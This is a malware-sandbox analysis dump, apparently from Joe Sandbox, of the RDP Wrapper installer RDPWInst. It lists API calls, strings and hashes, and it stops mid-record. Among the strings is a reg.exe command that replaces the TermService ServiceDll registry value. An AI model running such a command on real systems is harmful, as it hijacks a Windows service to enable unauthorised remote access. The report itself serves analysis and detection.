EnterCriticalSection.KERNEL32(00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?), ref: 00408CEA
lstrcpynW.KERNEL32(en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540), ref: 00408D08
LeaveCriticalSection.KERNEL32(00449B54,en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000), ref: 00408D12

Strings

en-GB,en,en-US,, xrefs: 00408C56, 00408D03

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValidlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1058953229-3021119265
Opcode ID: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction ID: 9b1ce77b3c0781b783b438d4c88a1dd796634ce3a4aca31124bb85a30b48e6d3
Opcode Fuzzy Hash: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction Fuzzy Hash: B321AE203042556AEB50B77A9E57B6A2169EF4570CF60443FB481B72D2CEBCAC04E22E

Function 0043C1C8 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
GetLastError.KERNEL32(00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Strings

$sD, xrefs: 0043C1E7, 0043C235
[-] OpenProcess error (code , xrefs: 0043C1EC
[-] TerminateProcess error (code , xrefs: 0043C23A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastProcess$OpenTerminate
String ID: $sD$[-] OpenProcess error (code $[-] TerminateProcess error (code
API String ID: 1809907545-775158141
Opcode ID: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction ID: c032a40b630c9990863936c46c82d74717666648ea03c3b6a4bb658b84b7f9ba
Opcode Fuzzy Hash: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction Fuzzy Hash: EB01F6A5B442111AE610B3FB0D82B2F255A8F8A75CF02917FB504B62D7CA3C9C11977F

Function 0040472C Relevance: 15.1, APIs: 10, Instructions: 129
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047B5
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047D9
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047F5
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 00404816
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 0040483F
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0040484D
GetStdHandle.KERNEL32(000000F5), ref: 00404888
GetFileType.KERNEL32(?,000000F5), ref: 0040489E
CloseHandle.KERNEL32(?,?,000000F5), ref: 004048B9
GetLastError.KERNEL32(000000F5), ref: 004048D1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction ID: de0dc4671a2c55deed7a27a48df34c8c3110be8be3acd5b577aa359944728292
Opcode Fuzzy Hash: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction Fuzzy Hash: EA4183B5500A40A9E730BF24C90972376E4EBC0714F20CE3FE692B66D0E7BDA845878D

Function 0043C31C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C37B
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C384
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C3BB
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3C6
CloseHandle.KERNEL32(?,?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3CF

Strings

$sD, xrefs: 0043C38D
D, xrefs: 0043C34D
[-] CreateProcess error (code: , xrefs: 0043C392

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastObjectProcessSingleWait
String ID: $sD$D$[-] CreateProcess error (code:
API String ID: 1377960556-1026335874
Opcode ID: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction ID: 1d017b2d671d3512e5dabab7732e068b99e5a835ee42228d460eb482b244bc14
Opcode Fuzzy Hash: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction Fuzzy Hash: D21151B0644204AADB00F7E5CD82F9E77B89F49714F61453BF610F61D2D67CA910972E

Function 00403028 Relevance: 12.2, APIs: 8, Instructions: 221sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,?,00000000,00402C9A), ref: 004030BE
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,00402C9A), ref: 004030D8

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction ID: 8e11df8688fcfc32dba15f0401baaa5f3e1cf13b6ab2085a37f93781684c6a2f
Opcode Fuzzy Hash: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction Fuzzy Hash: 9F7115312052009FD715CF69CE89726BFE4AB89315F14827FD444AB3D6D7B889458789

Function 0043C598 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 98COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0043C716,?,?,?,00447324,00000000,00000000,00000000,?,00443BC6,00000000,00443FB2), ref: 0043C600

Strings

$sD, xrefs: 0043C60D
%SystemRoot%, xrefs: 0043C682
ServiceDll, xrefs: 0043C650
" /f, xrefs: 0043C69A
[-] OpenKey error (code , xrefs: 0043C612
\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d ", xrefs: 0043C68F
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C5EF

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: " /f$$sD$%SystemRoot%$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters$\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "
API String ID: 1452528299-2956723230
Opcode ID: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction ID: 86ae2d0f633f2b7d457566c29c3046f730a81976c8e7ce91198a0ccb689aa4bb
Opcode Fuzzy Hash: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction Fuzzy Hash: B331DE74A04204AFDB10FB66CC82A2E77A5DB4D308F61A07BF800B7291CB3CAD049B5D

Function 00402CA4 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00402C72), ref: 00402D5B
Sleep.KERNEL32(0000000A,00000000,?,00402C72), ref: 00402D71
Sleep.KERNEL32(00000000,?,?,?,00402C72), ref: 00402D9F
Sleep.KERNEL32(0000000A,00000000,?,?,?,00402C72), ref: 00402DB5

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction ID: 31c3f393645164f4675e576557a9223240219fe3669f0ad713ca74d6ded16897
Opcode Fuzzy Hash: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction Fuzzy Hash: B4C147766052518FD715CF28DE8831ABBE0AB86314F1882BFD444BB3D5C7B89946CBD8

Function 0040941C Relevance: 6.1, APIs: 4, Instructions: 118stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3
GetUserDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409530
GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 0040955C

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DefaultLanguage$SystemUserlstrcpynlstrlen
String ID:
API String ID: 3749826553-0
Opcode ID: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction ID: 670d7e8fee0ffa615f00d819e5c077188fbd82142d60affd8ce3058b6d31cf6a
Opcode Fuzzy Hash: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction Fuzzy Hash: 37416571A002195ED721EB6ADC8978EB3B4EF48304F5005BAE448B72D2DB789E908E58

Function 004040B4 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 004040D2
VirtualFree.KERNEL32(00449AC8,00000000,00008000,?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 0040412F

Strings

$zD, xrefs: 004040B8
xPD, xrefs: 004040E2

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID: $zD$xPD
API String ID: 1263568516-535612291
Opcode ID: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction ID: 63e96df57fdc30e3e5434cdd8ac4306be2e0fcd0727744789414a485f14a8afc
Opcode Fuzzy Hash: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction Fuzzy Hash: CF1161B13012009FDB248F059985B26BAE5EBC4714F55C0BEE309AF3C2D679EC01CB58

Function 00438B0C Relevance: 4.6, APIs: 3, Instructions: 150registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438BFB
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00438C6C

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction ID: 3681a8d3f24b20706dc106850b3bb9ce640454c4e8124a7cc358b0d46e7adf70
Opcode Fuzzy Hash: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction Fuzzy Hash: 1F51A370B00344AFDB11EBA5C842B9EF7F9AB48304F11547EB444A3282CA7DAF069759

Function 00406220 Relevance: 4.6, APIs: 3, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction ID: 823ae625d887489e04d5fb836baef855571e76b59bd7737af2fa314308855dda
Opcode Fuzzy Hash: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction Fuzzy Hash: 0D316F749002508BEF21BF69988975737A0AB05319F1640BFE806AB2D7C77C9CA4CB9D

Function 00406218 Relevance: 4.6, APIs: 3, Instructions: 76threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction ID: 46b61aa2349ed196f7bea0abd1f985a96ea7bcfce35a4251490327c9ac1ca2fd
Opcode Fuzzy Hash: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction Fuzzy Hash: 1331A2749002908BDF21BF78888975737A0AB06319F1640BFE845AB2D7C37C9CA4CB9D

Function 0040621C Relevance: 4.6, APIs: 3, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
